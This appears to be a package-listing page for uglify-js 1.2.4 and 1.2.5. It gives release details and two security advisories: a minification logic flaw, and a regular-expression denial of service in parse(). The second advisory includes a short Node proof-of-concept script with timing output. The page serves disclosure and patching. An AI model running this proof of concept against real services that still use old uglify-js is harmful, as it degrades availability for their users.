UglifyJS is a powerful JavaScript parser, compressor, and beautifier toolkit, and versions 1.2.4 and 1.2.5 represent incremental improvements in its development. While both versions share the same core functionality – parsing, compressing, and beautifying JavaScript code – discerning the nuances between them is crucial for developers aiming for optimal performance and stability. Both versions are dependency-free, simplifying integration, and are authored by Mihai Bazon, with source code hosted on GitHub under the mishoo/UglifyJS repository. This ensures transparency and community involvement. The key difference lies in the release dates: version 1.2.4 was released on January 5th, 2012, while version 1.2.5 followed shortly after, on January 13th, 2012. Although the changelog is not available in provided data, the short time span suggests that 1.2.5 likely incorporates bug fixes, minor enhancements, or optimizations identified after the release of 1.2.4. For developers, upgrading from 1.2.4 to 1.2.5 is advisable to leverage any potential improvements. However, given the lack of detailed release notes, thorough testing is recommended to ensure compatibility with existing projects. Both versions can be easily installed via npm, using the uglify-js package name. Developers should consult the UglifyJS documentation and repository for comprehensive usage instructions and examples to maximize the toolkit's potential in minifying JavaScript code for improved website loading speeds and performance.
All the vulnerabilities related to the version 1.2.5 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.